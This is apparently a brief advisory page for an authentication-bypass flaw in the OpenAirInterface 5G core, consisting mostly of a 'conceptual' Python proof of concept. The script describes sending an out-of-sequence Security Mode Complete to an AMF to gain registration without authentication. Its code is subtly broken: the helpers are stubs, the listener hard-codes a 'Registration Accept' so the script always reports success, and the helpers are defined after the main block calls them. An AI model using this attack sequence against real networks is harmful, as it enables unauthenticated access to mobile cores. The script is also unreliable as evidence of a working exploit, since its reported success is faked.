CVE-2026-30079 OpenAirInterface认证绕过漏洞

# Conceptual PoC for CVE-2026-30079 # This script demonstrates the logic bypass using a simulated 5G NAS stack import socket from scapy.all import * # Note: Requires Scapy with 3GPP/NAS support or custom NAS packet builder def send_nas_message(msg_type, ue_ip, amf_ip): # Function to send raw NAS message over SCTP/NGAP print(f"Sending NAS Message: {msg_type}") # Implementation of NGAP/NAS packet crafting would go here # ... def exploit_cve_2026_30079(target_amf_ip): print(f"[+] Targeting AMF: {target_amf_ip}") # Step 1: Send Initial UE Message (Registration Request) # Normally contains SUCI or 5G-GUTI nas_pdu_1 = build_nas_registration_request() send_ngap_initial_ue_message(target_amf_ip, nas_pdu_1) print("[+] Initial UE Registration sent") # Step 2: Send Security Mode Complete out of sequence # Normally this comes *after* Authentication and Security Mode Command # Sending it now triggers the state transition bug nas_pdu_2 = build_nas_security_mode_complete() send_ngap_uplink_nas_transport(target_amf_ip, nas_pdu_2) print("[+] Security Mode Complete sent (Out of sequence)") # Step 3: Observe response # The AMF should reject, but due to the bug, it accepts. response = listen_for_ngap_message() if "Registration Accept" in response: print("[!] EXPLOIT SUCCESSFUL: Registered without authentication!") else: print("[-] Exploit failed") if __name__ == "__main__": # Replace with actual AMF IP exploit_cve_2026_30079("192.168.56.101") # Helper functions (pseudo-code for NAS packet structure) def build_nas_registration_request(): return "NAS_PDU: Registration Request" def build_nas_security_mode_complete(): return "NAS_PDU: Security Mode Complete" def send_ngap_initial_ue_message(ip, pdu): pass def send_ngap_uplink_nas_transport(ip, pdu): pass def listen_for_ngap_message(): return "NAS_PDU: Registration Accept"